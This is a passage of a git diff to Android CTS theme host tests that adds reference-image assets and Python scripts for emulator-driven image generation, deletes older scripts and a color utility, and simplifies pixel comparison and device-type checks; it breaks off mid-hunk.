index 0000000..fbc8b2d
--- /dev/null
+++ b/hostsidetests/theme/assets/27/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/340dpi.zip b/hostsidetests/theme/assets/27/340dpi.zip
new file mode 100644
index 0000000..c244d86
--- /dev/null
+++ b/hostsidetests/theme/assets/27/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/360dpi.zip b/hostsidetests/theme/assets/27/360dpi.zip
new file mode 100644
index 0000000..ee3465a
--- /dev/null
+++ b/hostsidetests/theme/assets/27/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/400dpi.zip b/hostsidetests/theme/assets/27/400dpi.zip
new file mode 100644
index 0000000..8d5c84a
--- /dev/null
+++ b/hostsidetests/theme/assets/27/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/420dpi.zip b/hostsidetests/theme/assets/27/420dpi.zip
new file mode 100644
index 0000000..e5e228c
--- /dev/null
+++ b/hostsidetests/theme/assets/27/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/560dpi.zip b/hostsidetests/theme/assets/27/560dpi.zip
new file mode 100644
index 0000000..cd3b7e2
--- /dev/null
+++ b/hostsidetests/theme/assets/27/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/hdpi.zip b/hostsidetests/theme/assets/27/hdpi.zip
new file mode 100644
index 0000000..f2c95ed
--- /dev/null
+++ b/hostsidetests/theme/assets/27/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/ldpi.zip b/hostsidetests/theme/assets/27/ldpi.zip
new file mode 100644
index 0000000..6e441b7
--- /dev/null
+++ b/hostsidetests/theme/assets/27/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/mdpi.zip b/hostsidetests/theme/assets/27/mdpi.zip
new file mode 100644
index 0000000..9044082
--- /dev/null
+++ b/hostsidetests/theme/assets/27/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/tvdpi.zip b/hostsidetests/theme/assets/27/tvdpi.zip
new file mode 100644
index 0000000..38531ba
--- /dev/null
+++ b/hostsidetests/theme/assets/27/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xhdpi.zip b/hostsidetests/theme/assets/27/xhdpi.zip
new file mode 100644
index 0000000..34e6834
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxhdpi.zip b/hostsidetests/theme/assets/27/xxhdpi.zip
new file mode 100644
index 0000000..f628e5b
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxxhdpi.zip b/hostsidetests/theme/assets/27/xxxhdpi.zip
new file mode 100644
index 0000000..5d9ef51
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/tvdpi.zip b/hostsidetests/theme/assets/tvdpi.zip
deleted file mode 100755
index 553657f..0000000
--- a/hostsidetests/theme/assets/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
new file mode 100644
index 0000000..4c444a2
--- /dev/null
+++ b/hostsidetests/theme/avd.py
@@ -0,0 +1,81 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import functools
+import math
+import socket
+import subprocess
+import sys
+import tempfile
+
+from android_device import *
+
+
+def find_free_port():
+ s = socket.socket()
+ s.bind(('', 0))
+ return int(s.getsockname()[1])
+
+
+class AVD(object):
+ def __init__(self, name, emu_path):
+ self._name = name
+ self._emu_path = emu_path
+ self._opts = ''
+ self._adb_name = None
+ self._emu_proc = None
+
+ def start(self):
+ if self._emu_proc:
+ raise Exception('Emulator already running')
+
+ port_adb = find_free_port()
+ port_tty = find_free_port()
+ # -no-window might be useful here
+ emu_cmd = "%s -avd %s %s-ports %d,%d" \
+ % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+ print(emu_cmd)
+
+ emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE)
+
+ # The emulator ought to be starting now.
+ self._adb_name = "emulator-%d" % (port_tty - 1)
+ self._emu_proc = emu_proc
+
+ def stop(self):
+ if not self._emu_proc:
+ raise Exception('Emulator not currently running')
+ self._emu_proc.kill()
+ (out, err) = self._emu_proc.communicate()
+ self._emu_proc = None
+ return out, err
+
+ def get_serial(self):
+ if not self._emu_proc:
+ raise Exception('Emulator not currently running')
+ return self._adb_name
+
+ def get_device(self):
+ if not self._emu_proc:
+ raise Exception('Emulator not currently running')
+ return AndroidDevice(self._adb_name)
+
+ def configure_screen(self, density, width_dp, height_dp):
+ width_px = int(math.ceil(width_dp * density / 1600) * 10)
+ height_px = int(math.ceil(height_dp * density / 1600) * 10)
+ self._opts = "-prop qemu.sf.lcd_density=%d -skin %dx%d " % (density, width_px, height_px)
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
new file mode 100755
index 0000000..f243ea4
--- /dev/null
+++ b/hostsidetests/theme/generate_images.py
@@ -0,0 +1,244 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import sys
+import tempfile
+import threading
+import time
+import traceback
+
+from android_device import *
+from avd import *
+from queue import Queue, Empty
+
+
+# This dict should contain one entry for every density listed in CDD 7.1.1.3.
+CTS_THEME_dict = {
+ 120: "ldpi",
+ 160: "mdpi",
+ 213: "tvdpi",
+ 240: "hdpi",
+ 260: "260dpi",
+ 280: "280dpi",
+ 300: "300dpi",
+ 320: "xhdpi",
+ 340: "340dpi",
+ 360: "360dpi",
+ 400: "400dpi",
+ 420: "420dpi",
+ 480: "xxhdpi",
+ 560: "560dpi",
+ 640: "xxxhdpi",
+}
+
+OUT_FILE = "/sdcard/cts-theme-assets.zip"
+
+
+class ParallelExecutor(threading.Thread):
+ def __init__(self, tasks, setup, q):
+ threading.Thread.__init__(self)
+ self._q = q
+ self._tasks = tasks
+ self._setup = setup
+ self._result = 0
+
+ def run(self):
+ try:
+ while True:
+ config = self._q.get(block=True, timeout=2)
+ for t in self._tasks:
+ try:
+ if t(self._setup, config):
+ self._result += 1
+ except KeyboardInterrupt:
+ raise
+ except:
+ print("Failed to execute thread:", sys.exc_info()[0])
+ traceback.print_exc()
+ self._q.task_done()
+ except KeyboardInterrupt:
+ raise
+ except Empty:
+ pass
+
+ def get_result(self):
+ return self._result
+
+
+# pass a function with number of instances to be executed in parallel
+# each thread continues until config q is empty.
+def execute_parallel(tasks, setup, q, num_threads):
+ result = 0
+ threads = []
+ for i in range(num_threads):
+ t = ParallelExecutor(tasks, setup, q)
+ t.start()
+ threads.append(t)
+ for t in threads:
+ t.join()
+ result += t.get_result()
+ return result
+
+
+def print_adb_result(device, out, err):
+ print("device: " + device)
+ if out is not None:
+ print("out:\n" + out)
+ if err is not None:
+ print("err:\n" + err)
+
+
+def do_capture(setup, device_serial):
+ (themeApkPath, out_path) = setup
+
+ device = AndroidDevice(device_serial)
+
+ version = device.get_version_codename()
+ if version == "REL":
+ version = str(device.get_version_sdk())
+
+ density = device.get_density()
+
+ if CTS_THEME_dict[density]:
+ density_bucket = CTS_THEME_dict[density]
+ else:
+ density_bucket = str(density) + "dpi"
+
+ out_file = os.path.join(out_path, os.path.join(version, "%s.zip" % density_bucket))
+
+ device.uninstall_package('android.theme.app')
+
+ (out, err, success) = device.install_apk(themeApkPath)
+ if not success:
+ print("Failed to install APK on " + device_serial)
+ print_adb_result(device_serial, out, err)
+ return False
+
+ print("Generating images on " + device_serial + "...")
+ try:
+ (out, err) = device.run_instrumentation_test(
+ "android.theme.app/android.support.test.runner.AndroidJUnitRunner")
+ except KeyboardInterrupt:
+ raise
+ except:
+ (out, err) = device.run_instrumentation_test(
+ "android.theme.app/android.test.InstrumentationTestRunner")
+
+ # Detect test failure and abort.
+ if "FAILURES!!!" in out.split():
+ print_adb_result(device_serial, out, err)
+ return False
+
+ # Make sure that the run is complete by checking the process itself
+ print("Waiting for " + device_serial + "...")
+ wait_time = 0
+ while device.is_process_alive("android.theme.app"):
+ time.sleep(1)
+ wait_time = wait_time + 1
+ if wait_time > 180:
+ print("Timed out")
+ break
+
+ time.sleep(10)
+
+ print("Pulling images from " + device_serial + " to " + out_file)
+ device.run_adb_command("pull " + OUT_FILE + " " + out_file)
+ device.run_adb_command("shell rm -rf " + OUT_FILE)
+ return True
+
+
+def get_emulator_path():
+ if 'ANDROID_SDK_ROOT' not in os.environ:
+ print('Environment variable ANDROID_SDK_ROOT must point to your Android SDK root.')
+ sys.exit(1)
+
+ sdk_path = os.environ['ANDROID_SDK_ROOT']
+ if not os.path.isdir(sdk_path):
+ print("Failed to find Android SDK at ANDROID_SDK_ROOT: %s" % sdk_path)
+ sys.exit(1)
+
+ emu_path = os.path.join(os.path.join(sdk_path, 'tools'), 'emulator')
+ if not os.path.isfile(emu_path):
+ print("Failed to find emulator within ANDROID_SDK_ROOT: %s" % sdk_path)
+ sys.exit(1)
+
+ return emu_path
+
+
+def start_emulator(name, density):
+ emu_path = get_emulator_path()
+
+ # Start emulator for 560dpi, normal screen size.
+ test_avd = AVD(name, emu_path)
+ test_avd.configure_screen(density, 360, 640)
+ test_avd.start()
+ try:
+ test_avd_device = test_avd.get_device()
+ test_avd_device.wait_for_device()
+ test_avd_device.wait_for_boot_complete()
+ return test_avd
+ except:
+ test_avd.stop()
+ return None
+
+
+def main(argv):
+ if 'ANDROID_BUILD_TOP' not in os.environ or 'ANDROID_HOST_OUT' not in os.environ:
+ print('Missing environment variables. Did you run build/envsetup.sh and lunch?')
+ sys.exit(1)
+
+ theme_apk = os.path.join(os.environ['ANDROID_HOST_OUT'],
+ 'cts/android-cts/testcases/CtsThemeDeviceApp.apk')
+ if not os.path.isfile(theme_apk):
+ print('Couldn\'t find test APK. Did you run make cts?')
+ sys.exit(1)
+
+ out_path = os.path.join(os.environ['ANDROID_BUILD_TOP'],
+ 'cts/hostsidetests/theme/assets')
+ os.system("mkdir -p %s" % out_path)
+
+ if len(argv) is 2:
+ for density in CTS_THEME_dict.keys():
+ emulator = start_emulator(argv[1], density)
+ result = do_capture(setup=(theme_apk, out_path), device_serial=emulator.get_serial())
+ emulator.stop()
+ if result:
+ print("Generated reference images for %ddpi" % density)
+ else:
+ print("Failed to generate reference images for %ddpi" % density)
+ break
+ else:
+ tasks = [do_capture]
+ setup = (theme_apk, out_path)
+
+ devices = enumerate_android_devices()
+
+ device_queue = Queue()
+ for device in devices:
+ device_queue.put(device)
+
+ result = execute_parallel(tasks, setup, device_queue, len(devices))
+
+ if result > 0:
+ print('Generated reference images for %(count)d devices' % {"count": result})
+ else:
+ print('Failed to generate reference images')
+
+
+if __name__ == '__main__':
+ main(sys.argv)
diff --git a/hostsidetests/theme/generate_images.sh b/hostsidetests/theme/generate_images.sh
deleted file mode 100755
index 129efc8..0000000
--- a/hostsidetests/theme/generate_images.sh
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/bin/sh
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This script is used to generate reference images for the CTS theme tests.
-# See the accompanying README file for more information.
-
-# retry <command> <tries> <message> <delay>
-function retry {
- RETRY="0"
- while true; do
- if (("$RETRY" >= "$2")); then
- echo $OUTPUT
- exit
- fi
-
- OUTPUT=`$1 |& grep error`
-
- if [ -z "$OUTPUT" ]; then
- break
- fi
-
- echo $3
- sleep $4
- RETRY=$[$RETRY + 1]
- done
-}
-
-themeApkPath="$ANDROID_HOST_OUT/cts/android-cts/testcases/CtsThemeDeviceApp.apk"
-outDir="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/assets"
-exe="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/run_theme_capture_device.py"
-
-if [ -z "$ANDROID_BUILD_TOP" ]; then
- echo "Missing environment variables. Did you run build/envsetup.sh and lunch?"
- exit
-fi
-
-if [ ! -e "$themeApkPath" ]; then
- echo "Couldn't find test APK. Did you run make cts?"
- exit
-fi
-
-adb devices
-python $exe $themeApkPath $outDir
diff --git a/hostsidetests/theme/run_theme_capture_device.py b/hostsidetests/theme/run_theme_capture_device.py
deleted file mode 100755
index d37864f..0000000
--- a/hostsidetests/theme/run_theme_capture_device.py
+++ /dev/null
@@ -1,180 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the 'License');
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-import os
-import sys
-import threading
-import time
-import traceback
-import Queue
-sys.path.append(sys.path[0])
-from android_device import *
-
-CTS_THEME_dict = {
- 120 : "ldpi",
- 160 : "mdpi",
- 240 : "hdpi",
- 320 : "xhdpi",
- 480 : "xxhdpi",
- 640 : "xxxhdpi",
-}
-
-OUT_FILE = "/sdcard/cts-theme-assets.zip"
-
-# pass a function with number of instances to be executed in parallel
-# each thread continues until config q is empty.
-def executeParallel(tasks, setup, q, numberThreads):
- class ParallelExecutor(threading.Thread):
- def __init__(self, tasks, q):
- threading.Thread.__init__(self)
- self._q = q
- self._tasks = tasks
- self._setup = setup
- self._result = 0
-
- def run(self):
- try:
- while True:
- config = q.get(block=True, timeout=2)
- for t in self._tasks:
- try:
- if t(self._setup, config):
- self._result += 1
- except KeyboardInterrupt:
- raise
- except:
- print "Failed to execute thread:", sys.exc_info()[0]
- traceback.print_exc()
- q.task_done()
- except KeyboardInterrupt:
- raise
- except Queue.Empty:
- pass
-
- def getResult(self):
- return self._result
-
- result = 0;
- threads = []
- for i in range(numberThreads):
- t = ParallelExecutor(tasks, q)
- t.start()
- threads.append(t)
- for t in threads:
- t.join()
- result += t.getResult()
- return result;
-
-def printAdbResult(device, out, err):
- print "device: " + device
- if out is not None:
- print "out:\n" + out
- if err is not None:
- print "err:\n" + err
-
-def getResDir(outPath, resName):
- resDir = outPath + "/" + resName
- return resDir
-
-def doCapturing(setup, deviceSerial):
- (themeApkPath, outPath) = setup
-
- print "Found device: " + deviceSerial
- device = androidDevice(deviceSerial)
-
- version = device.getVersionCodename()
- if version == "REL":
- version = str(device.getVersionSdkInt())
-
- density = device.getDensity()
-
- # Reference images generated for tv should not be categorized by density
- # rather by tv type. This is because TV uses leanback-specific material
- # themes.
- if CTS_THEME_dict.has_key(density):
- densityBucket = CTS_THEME_dict[density]
- else:
- densityBucket = str(density) + "dpi"
-
- resName = os.path.join(version, densityBucket)
-
- device.uninstallApk("android.theme.app")
-
- (out, err, success) = device.installApk(themeApkPath)
- if not success:
- print "Failed to install APK on " + deviceSerial
- printAdbResult(deviceSerial, out, err)
- return False
-
- print "Generating images on " + deviceSerial + "..."
- try:
- (out, err) = device.runInstrumentationTest("android.theme.app/android.support.test.runner.AndroidJUnitRunner")
- except KeyboardInterrupt:
- raise
- except:
- (out, err) = device.runInstrumentationTest("android.theme.app/android.test.InstrumentationTestRunner")
-
- # Detect test failure and abort.
- if "FAILURES!!!" in out.split():
- printAdbResult(deviceSerial, out, err)
- return False
-
- # Make sure that the run is complete by checking the process itself
- print "Waiting for " + deviceSerial + "..."
- waitTime = 0
- while device.isProcessAlive("android.theme.app"):
- time.sleep(1)
- waitTime = waitTime + 1
- if waitTime > 180:
- print "Timed out"
- break
-
- time.sleep(10)
- resDir = getResDir(outPath, resName)
-
- print "Pulling images from " + deviceSerial + " to " + resDir + ".zip"
- device.runAdbCommand("pull " + OUT_FILE + " " + resDir + ".zip")
- device.runAdbCommand("shell rm -rf " + OUT_FILE)
- return True
-
-def main(argv):
- if len(argv) < 3:
- print "run_theme_capture_device.py themeApkPath outDir"
- sys.exit(1)
- themeApkPath = argv[1]
- outPath = os.path.abspath(argv[2])
- os.system("mkdir -p " + outPath)
-
- tasks = []
- tasks.append(doCapturing)
-
- devices = runAdbDevices();
- numberThreads = len(devices)
-
- configQ = Queue.Queue()
- for device in devices:
- configQ.put(device)
- setup = (themeApkPath, outPath)
- result = executeParallel(tasks, setup, configQ, numberThreads)
-
- if result > 0:
- print 'Generated reference images for %(count)d devices' % {"count": result}
- else:
- print 'Failed to generate reference images'
-
-if __name__ == '__main__':
- main(sys.argv)
diff --git a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java b/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
deleted file mode 100644
index 0bbc9c7..0000000
--- a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.theme.cts;
-
-/**
- * A set of color-related utility methods, building upon those available in {@code Color}.
- */
-public class ColorUtils {
-
- private static final double XYZ_WHITE_REFERENCE_X = 95.047;
- private static final double XYZ_WHITE_REFERENCE_Y = 100;
- private static final double XYZ_WHITE_REFERENCE_Z = 108.883;
- private static final double XYZ_EPSILON = 0.008856;
- private static final double XYZ_KAPPA = 903.3;
-
- private ColorUtils() {}
-
- /**
- * Performs alpha blending of two colors using Porter-Duff SRC_OVER.
- *
- * @param src
- * @param dst
- */
- public static int blendSrcOver(int src, int dst) {
- int x = 255 - a(src);
- int Ar = clamp(a(src) + a(dst) * x);
- int Rr = clamp(r(src) + r(dst) * x);
- int Gr = clamp(g(src) + g(dst) * x);
- int Br = clamp(b(src) + b(dst) * x);
- return argb(Ar, Rr, Gr, Br);
- }
-
- private static int clamp(int value) {
- return value > 255 ? 255 : value < 0 ? 0 : value;
- }
-
- /**
- * Return a color-int from alpha, red, green, blue components.
- * These component values should be \([0..255]\), but there is no
- * range check performed, so if they are out of range, the
- * returned color is undefined.
- *
- * @param alpha Alpha component \([0..255]\) of the color
- * @param red Red component \([0..255]\) of the color
- * @param green Green component \([0..255]\) of the color
- * @param blue Blue component \([0..255]\) of the color
- */
- public static int argb(int alpha, int red, int green, int blue) {
- return (alpha << 24) | (red << 16) | (green << 8) | blue;
- }
-
- /**
- * Return the alpha component of a color int. This is the same as saying
- * color >>> 24
- */
- public static int a(int color) {
- return color >>> 24;
- }
-
- /**
- * Return the red component of a color int. This is the same as saying
- * (color >> 16) & 0xFF
- */
- public static int r(int color) {
- return (color >> 16) & 0xFF;
- }
-
- /**
- * Return the green component of a color int. This is the same as saying
- * (color >> 8) & 0xFF
- */
- public static int g(int color) {
- return (color >> 8) & 0xFF;
- }
-
- /**
- * Return the blue component of a color int. This is the same as saying
- * color & 0xFF
- */
- public static int b(int color) {
- return color & 0xFF;
- }
-
- /**
- * Convert the ARGB color to its CIE Lab representative components.
- *
- * @param color the ARGB color to convert. The alpha component is ignored
- * @param outLab 3-element array which holds the resulting LAB components
- */
- public static void colorToLAB(int color, double[] outLab) {
- RGBToLAB(r(color), g(color), b(color), outLab);
- }
-
- /**
- * Convert RGB components to its CIE Lab representative components.
- *
- * <ul>
- * <li>outLab[0] is L [0 ...1)</li>
- * <li>outLab[1] is a [-128...127)</li>
- * <li>outLab[2] is b [-128...127)</li>
- * </ul>
- *
- * @param r red component value [0..255]
- * @param g green component value [0..255]
- * @param b blue component value [0..255]
- * @param outLab 3-element array which holds the resulting LAB components
- */
- public static void RGBToLAB(int r, int g, int b, double[] outLab) {
- // First we convert RGB to XYZ
- RGBToXYZ(r, g, b, outLab);
- // outLab now contains XYZ
- XYZToLAB(outLab[0], outLab[1], outLab[2], outLab);
- // outLab now contains LAB representation
- }
-
- /**
- * Convert RGB components to its CIE XYZ representative components.
- *
- * <p>The resulting XYZ representation will use the D65 illuminant and the CIE
- * 2° Standard Observer (1931).</p>
- *
- * <ul>
- * <li>outXyz[0] is X [0 ...95.047)</li>
- * <li>outXyz[1] is Y [0...100)</li>
- * <li>outXyz[2] is Z [0...108.883)</li>
- * </ul>
- *
- * @param r red component value [0..255]
- * @param g green component value [0..255]
- * @param b blue component value [0..255]
- * @param outXyz 3-element array which holds the resulting XYZ components
- */
- public static void RGBToXYZ(int r, int g, int b, double[] outXyz) {
- if (outXyz.length != 3) {
- throw new IllegalArgumentException("outXyz must have a length of 3.");
- }
-
- double sr = r / 255.0;
- sr = sr < 0.04045 ? sr / 12.92 : Math.pow((sr + 0.055) / 1.055, 2.4);
- double sg = g / 255.0;
- sg = sg < 0.04045 ? sg / 12.92 : Math.pow((sg + 0.055) / 1.055, 2.4);
- double sb = b / 255.0;
- sb = sb < 0.04045 ? sb / 12.92 : Math.pow((sb + 0.055) / 1.055, 2.4);
-
- outXyz[0] = 100 * (sr * 0.4124 + sg * 0.3576 + sb * 0.1805);
- outXyz[1] = 100 * (sr * 0.2126 + sg * 0.7152 + sb * 0.0722);
- outXyz[2] = 100 * (sr * 0.0193 + sg * 0.1192 + sb * 0.9505);
- }
-
- /**
- * Converts a color from CIE XYZ to CIE Lab representation.
- *
- * <p>This method expects the XYZ representation to use the D65 illuminant and the CIE
- * 2° Standard Observer (1931).</p>
- *
- * <ul>
- * <li>outLab[0] is L [0 ...1)</li>
- * <li>outLab[1] is a [-128...127)</li>
- * <li>outLab[2] is b [-128...127)</li>
- * </ul>
- *
- * @param x X component value [0...95.047)
- * @param y Y component value [0...100)
- * @param z Z component value [0...108.883)
- * @param outLab 3-element array which holds the resulting Lab components
- */
- public static void XYZToLAB(double x, double y, double z, double[] outLab) {
- if (outLab.length != 3) {
- throw new IllegalArgumentException("outLab must have a length of 3.");
- }
- x = pivotXyzComponent(x / XYZ_WHITE_REFERENCE_X);
- y = pivotXyzComponent(y / XYZ_WHITE_REFERENCE_Y);
- z = pivotXyzComponent(z / XYZ_WHITE_REFERENCE_Z);
- outLab[0] = Math.max(0, 116 * y - 16);
- outLab[1] = 500 * (x - y);
- outLab[2] = 200 * (y - z);
- }
-
- private static double pivotXyzComponent(double component) {
- return component > XYZ_EPSILON
- ? Math.pow(component, 1 / 3.0)
- : (XYZ_KAPPA * component + 16) / 116;
- }
-}
diff --git a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
index 945bebd..371e1a9 100755
--- a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
+++ b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
@@ -41,7 +41,7 @@
private static final int GRAY = 0xFF808080;
/** Maximum allowable number of consecutive failed pixels. */
- private static final int MAX_CONSECUTIVE_FAILURES = 2;
+ private static final int MAX_CONSECUTIVE_FAILURES = 1;
private final String mName;
private final File mExpected;
@@ -87,43 +87,6 @@
return (color & 0xFF000000) >>> 24;
}
- /**
- * Verifies that the pixels of reference and generated images are similar
- * within a specified threshold.
- *
- * @param expected expected image
- * @param actual actual image
- * @param threshold maximum difference per channel
- * @return {@code true} if the images are similar, false otherwise
- */
- private static boolean checkNeighbors(int x, int y, BufferedImage reference,
- BufferedImage generated, int threshold) {
- final int w = generated.getWidth();
- final int h = generated.getHeight();
- for (int i = x - MAX_CONSECUTIVE_FAILURES; i <= x + MAX_CONSECUTIVE_FAILURES; i++) {
- if (i >= 0 && i != x && i < w) {
- for (int j = y - MAX_CONSECUTIVE_FAILURES; j <= y + MAX_CONSECUTIVE_FAILURES; j++) {
- if (j >= 0 && j != y && j < h) {
- final int p1 = reference.getRGB(i, j);
- final int p2 = generated.getRGB(i, j);
-
- final int dr = getAlphaScaledRed(p1) - getAlphaScaledRed(p2);
- final int dg = getAlphaScaledGreen(p1) - getAlphaScaledGreen(p2);
- final int db = getAlphaScaledBlue(p1) - getAlphaScaledBlue(p2);
-
- if (Math.abs(db) <= threshold &&
- Math.abs(dg) <= threshold &&
- Math.abs(dr) <= threshold) {
- // If we find at least one matching neighbor, we assume the difference
- // is in antialiasing.
- return true;
- }
- }
- }
- }
- }
- return false;
- }
/**
* Verifies that the pixels of reference and generated images are similar
@@ -144,6 +107,7 @@
double maxDist = 0;
for (int i = 0; i < w; i++) {
+ int consecutive = 0;
for (int j = 0; j < h; j++) {
final int p1 = reference.getRGB(i, j);
@@ -157,10 +121,15 @@
Math.abs(dg) > threshold ||
Math.abs(dr) > threshold) {
System.err.println("fail dr=" + dr+ " dg=" + dg+ " db=" + db);
- if (!checkNeighbors(i, j, reference, generated, threshold)) {
+
+ consecutive++;
+
+ if (consecutive > MAX_CONSECUTIVE_FAILURES) {
System.err.println("consecutive fail");
return false;
}
+ } else {
+ consecutive = 0;
}
}
}
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index eba697e..d549e03 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -68,12 +68,6 @@
private static final String HARDWARE_TYPE_CMD = "dumpsys | grep android.hardware.type";
private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
- private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
- private static final Pattern sUiModeLockedPattern =
- Pattern.compile("mUiModeLocked=(true|false)");
-
- private static final int UI_MODE_TYPE_MASK = 0x0f;
- private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
/** Shell command used to obtain current device density. */
private static final String WM_DENSITY = "wm density";
@@ -91,62 +85,22 @@
private ExecutorCompletionService<Pair<String, File>> mCompletionService;
- /** the string identifying the hardware type. */
- private String mHardwareType;
-
- private static boolean mVrHeadset;
@Override
protected void setUp() throws Exception {
super.setUp();
mDevice = getDevice();
- mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
- final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+ final String density = getDensityBucketForDevice(mDevice);
final String referenceZipAssetPath = String.format("/%s.zip", density);
mReferences = extractReferenceImages(referenceZipAssetPath);
final int numCores = Runtime.getRuntime().availableProcessors();
mExecutionService = Executors.newFixedThreadPool(numCores * 2);
mCompletionService = new ExecutorCompletionService<>(mExecutionService);
- mVrHeadset = isUiModeLockedToVrHeadset();
}
- protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
- final String output = mDevice.executeShellCommand(command);
- return output;
- }
-
- // TODO: Switch to using a feature flag, when available.
- protected boolean isUiModeLockedToVrHeadset() throws DeviceNotAvailableException {
- final String output = runCommandAndPrintOutput("dumpsys uimode");
-
- Integer curUiMode = null;
- Boolean uiModeLocked = null;
- for (String line : output.split("\\n")) {
- line = line.trim();
- Matcher matcher = sCurrentUiModePattern.matcher(line);
- if (matcher.find()) {
- curUiMode = Integer.parseInt(matcher.group(1), 16);
- }
- matcher = sUiModeLockedPattern.matcher(line);
- if (matcher.find()) {
- uiModeLocked = matcher.group(1).equals("true");
- }
- }
-
- boolean uiModeLockedToVrHeadset = (curUiMode != null) && (uiModeLocked != null)
- && ((curUiMode & UI_MODE_TYPE_MASK) == UI_MODE_TYPE_VR_HEADSET) && uiModeLocked;
-
- if (uiModeLockedToVrHeadset) {
- Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "UI mode is locked to VR headset");
- }
-
- return uiModeLockedToVrHeadset;
- }
-
-
private Map<String, File> extractReferenceImages(String zipFile) throws Exception {
final Map<String, File> references = new HashMap<>();
final InputStream zipStream = ThemeHostTest.class.getResourceAsStream(zipFile);
@@ -169,7 +123,7 @@
fail("Failed to unzip assets: " + zipFile);
}
} else {
- if (checkHardwareTypeSkipTest(mHardwareType)) {
+ if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
Log.logAndDisplay(LogLevel.WARN, LOG_TAG,
"Could not obtain resources for skipped themes test: " + zipFile);
} else {
@@ -191,9 +145,8 @@
}
@CddTest(requirement="3.8.6/C-1-1,C-1-2")
